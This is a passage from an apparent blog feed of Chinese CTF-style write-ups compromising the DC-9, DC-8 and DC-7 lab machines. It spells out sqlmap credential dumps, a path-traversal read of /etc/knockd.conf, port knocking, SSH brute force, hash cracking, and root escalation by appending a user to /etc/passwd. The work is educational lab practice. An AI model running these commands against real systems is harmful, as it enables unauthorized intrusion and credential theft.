原创记录<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/05/07/SQLite%E6%B3%A8%E5%85%A5%E4%B8%8ENextjs%E5%85%A5%E5%8F%A3%E5%88%86%E6%9E%90/</id>
    <link href="https://leeei.site/2026/05/07/SQLite%E6%B3%A8%E5%85%A5%E4%B8%8ENextjs%E5%85%A5%E5%8F%A3%E5%88%86%E6%9E%90/"/>
    <published>2026-05-07T08:25:15.000Z</published>
    <summary>记录授权 CTF 场景中 Next.js 页面入口定位和 SQLite 注入判断过程，整理数据库特征、查询验证与参数化防御方法。</summary>
    <title>SQLite 注入与 Next.js 页面入口分析</title>
    <updated>2026-09-03T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="靶场复现" scheme="https://leeei.site/categories/%E9%9D%B6%E5%9C%BA%E5%A4%8D%E7%8E%B0/"/>
    <category term="文件包含" scheme="https://leeei.site/tags/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/"/>
    <category term="DC靶场" scheme="https://leeei.site/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="端口敲门" scheme="https://leeei.site/tags/%E7%AB%AF%E5%8F%A3%E6%95%B2%E9%97%A8/"/>
    <content>
      <![CDATA[<p>环境：</p><p>攻击机Kali IP: 192.168.145.128</p><p>扫描局域网发现存活主机</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/bf7afd824d4044eb83caf2f493bd58df.png"                                     ></p><p>nmap看dc9开放端口</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/84da8c38c2d94c1ba013217897e5cee9.png"                                     ></p><p><strong>回显：</strong>22端口关闭，80端口开放（Apache服务&#x2F;2.4.38）</p><p>whatweb进一步探查，确定无cms，是自定义网页</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/06335f1c7add4925b01295cf424edee4.png"                                     ></p><p>看一下页面长这样</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/23765c075ee84d4e992b9c83e2974c84.png"                                     ></p><p>disearch扫一下子url</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/83b1cc2101604ad1a67400a3c91566e2.png"                                     ></p><p>有用的页面如下</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8c6a50021e834c71aa01b3210e451b08.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/55c2e891c8bc4d1fa148e8becc231ff1.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6ee0677b43af4730a67cf675c74fff99.png"                                     ></p><p>发现一个search输入框</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/56d7ca2d959144199ce39d0661ad4e4a.png"                                     ></p><p>测试永真永假语句发现回显不一样，说明存在sql注入点</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/00694863e6cc4866b40022b762ea8323.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/27dc9e631af34022b54b68667078eb3b.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/61fb0d22a7bc4b26b2314eba08693726.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e1e4782d24c14b04bd4f7489a39b4e59.png"                                     ></p><p>看一下源码，确定是post</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d97d27dab54949f3aa29c1993ec68a5b.png"                                     ></p><p>所以用sqlmap，向search.php发送post请求，在名为 <code>search</code>的字段里测试注入，下面所有的sqlmap语句均先用1这个值作为基础</p><p>先查询库名</p><p>sqlmap -u “<a class="link"   href="http://192.168.145.191/results.php" >http://192.168.145.191/results.php<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>“ –data&#x3D;”search&#x3D;1” –dbs”</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ceffef440d1a4ed19e2754c9f450af79.png"                                     ></p><p>发现三个库</p><p>先看看users表里面</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6aabd438c5914364b4cd38b459110940.png"                                     ></p><p>有用户和密码，再往里爆一层，我们只导出用户名和密码</p><p>sqlmap -u “<a class="link"   href="http://192.168.145.191/results.php" >http://192.168.145.191/results.php<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>“ –data&#x3D;”search&#x3D;1” -D users -T UserDetails -C “username,password” –dump –batch</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e1b6cd9235e241ed9e74421f05427224.png"                                     ></p><p>分别都做成文件先存起来，之前ssh没开，目前无法使用hydra爆破</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/90054770d4634fa8835401defd919c89.png"                                     ></p><p>先继续搜</p><p>sqlmap -u “<a class="link"   href="http://192.168.145.191/results.php" >http://192.168.145.191/results.php<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>“ –data&#x3D;”search&#x3D;1” -D Staff –tables –batch</p><p>看到Staff库里有两个表</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f62d41e065ea4c04be78fcd61b1a7f10.png"                                     ></p><p>看看第一个表里有什么</p><p>sqlmap -u “<a class="link"   href="http://192.168.145.191/results.php" >http://192.168.145.191/results.php<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>“ –data&#x3D;”search&#x3D;1” -D Staff -T StaffDetails –columns –batch</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d355f50b47cf419c8d4b3befdceb1024.png"                                     ></p><p>用户名：</p><p>继续看users里面有什么</p><p>sqlmap -u “<a class="link"   href="http://192.168.145.191/results.php" >http://192.168.145.191/results.php<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>“ –data&#x3D;”search&#x3D;1” -D Staff -T Users –columns –batch</p><p>爆出来三个字符段——密码，id，名字<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b6a2e1834019403dab183556bffe5f3f.png"                                     ></p><p>sqlmap -u “<a class="link"   href="http://192.168.145.191/results.php" >http://192.168.145.191/results.php<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>“ –data&#x3D;”search&#x3D;1” -D Staff -T Users –dump –batch</p><p>继续爆下去</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b2521ff6d63f426399d072057c54da02.png"                                     ></p><p>得到admin的密码，附一个破解哈希密码的网址<a class="link"   href="https://crackstation.net/"  title="CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.">CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/64c9e4cc9c6245788d2ebdfbfb429db3.png"                                     ></p><p>得到密码transorbital1</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/514bbebc948b4c72928d8db6a8049495.png"                                     ></p><ol start="5"><li>登录后台</li></ol><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6e2232335a024e099d1bb874a34fea85.png"                                     ></p><p>测试是否存在文件包含漏洞</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6ee84a115bed4b82b566a87256488cdf.png"                                     ></p><p>存在文件包含漏洞，通过参数file可以读取任意文件，刚开始nmap的时候，可以知道负责ssh的22端口没开，我们现在要通过端口敲门把他打开</p><p><a class="link"   href="http://192.168.145.191/addrecord.php/?file=../../../../../../etc/knockd.conf" >http://192.168.145.191/addrecord.php/?file=../../../../../../etc/knockd.conf<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d3154674b3ce46b7bde4e24e78d2b436.png"                                     ></p><p>获得了端口敲门序列</p><p>打开SSH：7469 → 8475 → 9842 正向<br>关闭SSH：9842 → 8475 → 7469 反向</p><p>使用nc按序列敲门触发防火墙规则，打开了22端口</p><p>** <code>-z</code>** &#x3D; zero-I&#x2F;O模式（只连接，不发送数据）</p><p>只测试端口是否可连接</p><p>连接成功立即断开</p><p>不进行数据交互</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3af74201d6d04d0fbcfcf039fe4c227b.png"                                     ></p><p>然后我们现在就可以用hydra爆破了</p><p>得到三组用户以及密码</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/966f9c7291694da9875199058568dc7d.png"                                     ></p><p>逐个进去看，都没有什么有用信息，到了janitor之后多了一个有secrets的目录，进去看看</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/1c6bb7a293f64b0b9e1d6a03d9fcd1c3.png"                                     ></p><p>发现又多了几个密码，加到密码列表里继续爆破</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/c212b68cc7a24f9a875b67c9b12a034b.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/bd8606a3cb904acd90864e345767a37b.png"                                     ></p><p>再爆破一遍，得到了新的账户密码——fredf</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/c8095c4b50644b3a9f16291e565ef040.png"                                     ></p><p>远程连接成功登录</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/00c68a5496fe4709b7532ac4e495ab6b.png"                                     ></p><p>查看 <code>sudo -l</code>：发现可执行 <code>/opt/devstuff/dist/test/test</code>（root权限）</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/674d1a0a17684947b41c9080d8439bc4.png"                                     ></p><p>进去</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e4825b896cb945b9b1330b03c5138c25.png"                                     ></p><p>我们来分析一下脚本内容，大致是把第一个打开的文件给加到第二个后面，因为这个脚本是以root运行的，所以我们可以利用它来修改系统文件——&#x2F;etc&#x2F;passwd</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">f = open(sys.argv[1], &quot;r&quot;)     # 打开第一个</span><br><span class="line">output = (f.read())            # 读取全部内容</span><br><span class="line"></span><br><span class="line">f = open(sys.argv[2], &quot;a&quot;)     # 打开第二个</span><br><span class="line">f.write(output)                # 将读取的内容写入</span><br><span class="line">f.close()v</span><br></pre></td></tr></table></figure></div><p>所以直接创建一个root用户提权，用openssl passwd 把密码加密加盐</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f8ecf9f946d1496c9913122c79c28310.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/23494206c4de4886b6e3eb25d695a2d6.png"                                     ></p><p>成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2ba6629357a5410ba235d8be2d4e778b.png"                                     ></p><p>完结撒花！！❀！</p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/02/05/dc9%E6%89%93%E9%9D%B6%E6%8A%A5%E5%91%8A/</id>
    <link href="https://leeei.site/2026/02/05/dc9%E6%89%93%E9%9D%B6%E6%8A%A5%E5%91%8A/"/>
    <published>2026-02-04T19:02:56.341Z</published>
    <summary>记录 DC-9 靶机从 Web 信息收集、SQL 注入和文件包含，到端口敲门开启 SSH、凭据利用及本地提权的完整链路。</summary>
    <title>dc9打靶报告</title>
    <updated>2026-02-04T19:02:56.341Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="靶场复现" scheme="https://leeei.site/categories/%E9%9D%B6%E5%9C%BA%E5%A4%8D%E7%8E%B0/"/>
    <category term="SQL注入" scheme="https://leeei.site/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    <category term="DC靶场" scheme="https://leeei.site/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="Drupal" scheme="https://leeei.site/tags/Drupal/"/>
    <content>
      <![CDATA[<p>环境：</p><p>攻击机kali ip：192.168.145.128</p><p>先arp-scan -l 扫描存活主机，得到靶机ip：192.168.145.190</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d000f3c975ce4622bf6430925b3cf3ba.png"                                     ></p><p>扫端口，发现开放了80——http协议，apache服务，drupal7的cms</p><p>还有一个22端口的远程连接</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d6b2c12e24e543dc97d7c6513beb73be.png"                                     ></p><p>看一眼网页<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/83c40247aa634ce89f5a487c7f219ea5.png"                                     ></p><p>发现url <code>http://192.168.145.190/?nid=1</code>里面有?nid&#x3D;1&#x2F;2&#x2F;3参数可控制，测试是否存在sql注入点，试一下?nid&#x3D;1’，有回显sql报错</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a33eb56c90fa4bd1a4cdca9ea92b53db.png"                                     ></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">用sqlmap跑（可以尝试droopescan扫用户）</span><br><span class="line">sqlmap -u &quot;http://192.168.145.190?nid=1&quot; --dbs</span><br><span class="line">枚举所有的数据库</span><br><span class="line"></span><br><span class="line">sqlmap -u &quot;http://192.168.145.190?nid=1&quot; -D d7db -T users -C name,pass --dump-D指定数据库名，-T指定表名</span><br></pre></td></tr></table></figure></div><p><strong>然后</strong>获得两个用户hash：</p><p><code>admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQgxkoA</code></p><p><code>john:$S$DqupvJbxVmqjr6cYePnx2A891ln7ls</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/0af11654ad4b435eb4ab3d77a522f2ff.png"                                     ></p><p>touch一个文件，把这两个密码都放进去爆破</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/fda984780e3249c9af7fda66f0a52392.png"                                     ></p><p>$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z</p><p>$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku&#x2F;3if&#x2F;oRVZJaz5mKC2vF</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8102ce75867146efb6c1f995f316579f.png"                                     ></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">john pass.txt --format=drupal7</span><br></pre></td></tr></table></figure></div><p>得到一个针对john的密码turtle</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/fc2054cb882c4dada572c05ac78bcf46.png"                                     ></p><p>dirsearch扫一下可以确定登录页面的路径</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2184242a464e4120b74b82c6dde5c3b3.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a37577c225b4439382185a8d5dde99a4.png"                                     ></p><p>访问 <code>http://192.168.145.190/user/login</code></p><p>使用 <code>john:turtle</code>登录成功</p><p>发现可提交PHP代码的表单</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/224284ffb1044d6f9828e9a5db94cf0f.png"                                     ></p><h4 id="3-4-反弹Shell"><a href="#3-4-反弹Shell" class="headerlink" title="3.4 反弹Shell"></a>3.4 反弹Shell</h4><p>按dc7的思路去找能注入php代码的地方，进去add content发现创建内容被分类了——基础页面和网络表单，无论哪个都无法指定php语言<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ebd726f46bf84664b2c4a228a23ba9cc.png"                                     ></p><p>回到主页，到处乱翻，然后在contact us 下进入webform内，我们可以发现在form settings下有</p><p>text format可以修改</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/dbe30050476e4bbd890f5e62ca139a0e.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e5781edd3c214f69aa87a7b9377929ca.png"                                     ></p><p>选择之后打开kali的1234端口<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d58754c21a384df8b73a5fa1ebc96203.png"                                     ></p><p>然后save configuration，返回view填写表单触发执行php代码</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2c833daae1a34df6b1f64c11d62fb9ba.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/116a0ef87a9e44029523ace96d06e529.png"                                     ></p><p>kali这边连接成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4be081a26a1146e1af30ed9a76c2a75a.png"                                     ></p><p>python写一个伪终端</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8e43c37714884e7da947f6fd8f99a0f5.png"                                     ></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -user root -perm -u=s 2&gt;/dev/null</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/172121e38f9a40f68d93da5ab4495ccf.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f7db6cc02ae744578ca2374ac11bd83d.png"                                     ></p><p><strong>发现</strong>Exim 4.89版本，有root权限的SUID文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/08492d35137542ae9e35630ea1fcc335.png"                                     ></p><h4 id="利用Exim提权"><a href="#利用Exim提权" class="headerlink" title="利用Exim提权"></a>利用Exim提权</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/eaa40c41aa7f4430aeb5763dee690a71.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3da9f232810d4271a5fda5dbfbb56940.png"                                     ></p><p>给文件加权</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/0c0c5a4934fc4599bc94440ab7124e44.png"                                     ></p><p>获得root权限shell</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/309d5fad7db3424c846d1aeee85b14e7.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f1a31cd158cd473db69626a85752315d.png"                                     ></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd /root</span><br><span class="line">cat flag.txt</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/23497fe61d24478db825bc9b42942f05.png"                                     ></p><h3 id="完结撒花！！"><a href="#完结撒花！！" class="headerlink" title="完结撒花！！"></a>完结撒花！！</h3><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/02/05/dc8%E6%89%93%E9%9D%B6%E6%8A%A5%E5%91%8A/</id>
    <link href="https://leeei.site/2026/02/05/dc8%E6%89%93%E9%9D%B6%E6%8A%A5%E5%91%8A/"/>
    <published>2026-02-04T19:02:36.007Z</published>
    <summary>记录 DC-8 靶机的 Drupal 站点识别、SQL 注入验证、数据库信息获取与后续登录利用过程，整理关键判断依据和操作步骤。</summary>
    <title>dc8靶机报告</title>
    <updated>2026-02-04T19:02:36.007Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="靶场复现" scheme="https://leeei.site/categories/%E9%9D%B6%E5%9C%BA%E5%A4%8D%E7%8E%B0/"/>
    <category term="DC靶场" scheme="https://leeei.site/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="Drupal" scheme="https://leeei.site/tags/Drupal/"/>
    <category term="Linux" scheme="https://leeei.site/tags/Linux/"/>
    <content>
      <![CDATA[<p>环境：</p><p><strong>攻击机ip</strong>：Kali192.168.145.128</p><p><strong>靶机ip</strong>：192.168.145.189</p><p>信息收集</p><p><code>arp-scan -l</code>，发现存活靶机 192.168.145.189</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6e7cc805d8e14474995cdd441faaac71.png"                                     ></p><p>识别开放端口和操作系统</p><p><code>nmap -A -p- 192.168.145.189</code></p><p>开放端口：22(SSH)、80(HTTP)——cms是drupal 8，服务器是Apache</p><p>操作系统：Linux</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/029e0e194bc64afab1210ffba61a309c.png"                                     ></p><p>看一下web页面，提示这一关爆破和字典攻击都不一定有用</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ccb9b7a2f2484130888b617d7b63eaee.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e15a3e0819154286ad27f2f7130dc531.png"                                     ></p><p><code>dirsearch -u http://192.168.145.189 -i 200，指定状态码200扫子url</code></p><p><code>逐个尝试一下，发现以下几个页面有有用回显</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/74f6112e69da4ceba55169e743cc6e8d.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a4ed271f91c04cc58d795c91218b20c6.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9a196e7b875d4f9c8d84d1ef1b1a8414.png"                                     ></p><p>看到左下角有一个疑似靶场作者留下的标识</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8a0507b85e9741eeb5087c82c82bab2e.png"                                     ></p><p>搜一下</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6f717d0ddf5741fbaf80f426f454afa9.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2992c25960ca4d53b93f53d70016e303.png"                                     ></p><p>看看存储库里的每个文件，方向对了</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/44c2cdda5e9a4b41a648a52aa6fcfcc8.png"                                     ></p><p>找到一组用户名和密码</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/82dbb327e9844dbeaa5789382353b68e.png"                                     ></p><p>因为之前开放了22端口，直接用这组密码远程连接试试</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/333be2eb32d546f3838d274b3645ace3.png"                                     ></p><p>登录成功</p><p>sudo -l试了下用不了</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e535d7999e7f4c798951ee68451e9697.png"                                     ></p><p>ls发现有一个mbox，一个backups</p><p>backups里有两个加密文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7eb191d69fad49a4b36229cdada51391.png"                                     ></p><p>cat一下mbox发现几个root发的邮件，有一个定时任务</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/38b0a720d0634b97b67379d7bab509fe.png"                                     ></p><p>大约是15分钟执行一次</p><p>Cron任务执行的 <strong>脚本完整路径</strong>： <code>/opt/scripts/backups.sh</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/10c0c25bb069440eb8f61a54b2edcce0.png"                                     ></p><p>目前为止，我们还有个网页没有登录进去</p><p>Drupal网站备份数据库 <strong>最常用工具就是drush，</strong> <code>drush</code> 可以 <strong>直接重置Drupal用户密码</strong></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">drush user-password admin --password=&quot;newpass123&quot;</span><br></pre></td></tr></table></figure></div><p>登录成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d27bdc1d440e4b74a8bbe4bab95e7a18.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ebfd9329a16749c4b90a0c6ab9a05da8.png"                                     ></p><p>左下角有一个add content ，我们试试能不能写个马进去，发现文本格式没有php的</p><p>在manage里找到了extend</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f594acacdaae4f588fea78c9c59af87e.png"                                     ></p><p>安装文本格式php的工具插件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/14c2a57e26ed4fba98684d491be5a4ac.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/64a3a715af7b48729d8d07cb5bd6c732.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/13504944c03d4b51a6578b73c0305751.png"                                     ></p><p>安装PHP Filter模块</p><p><img                       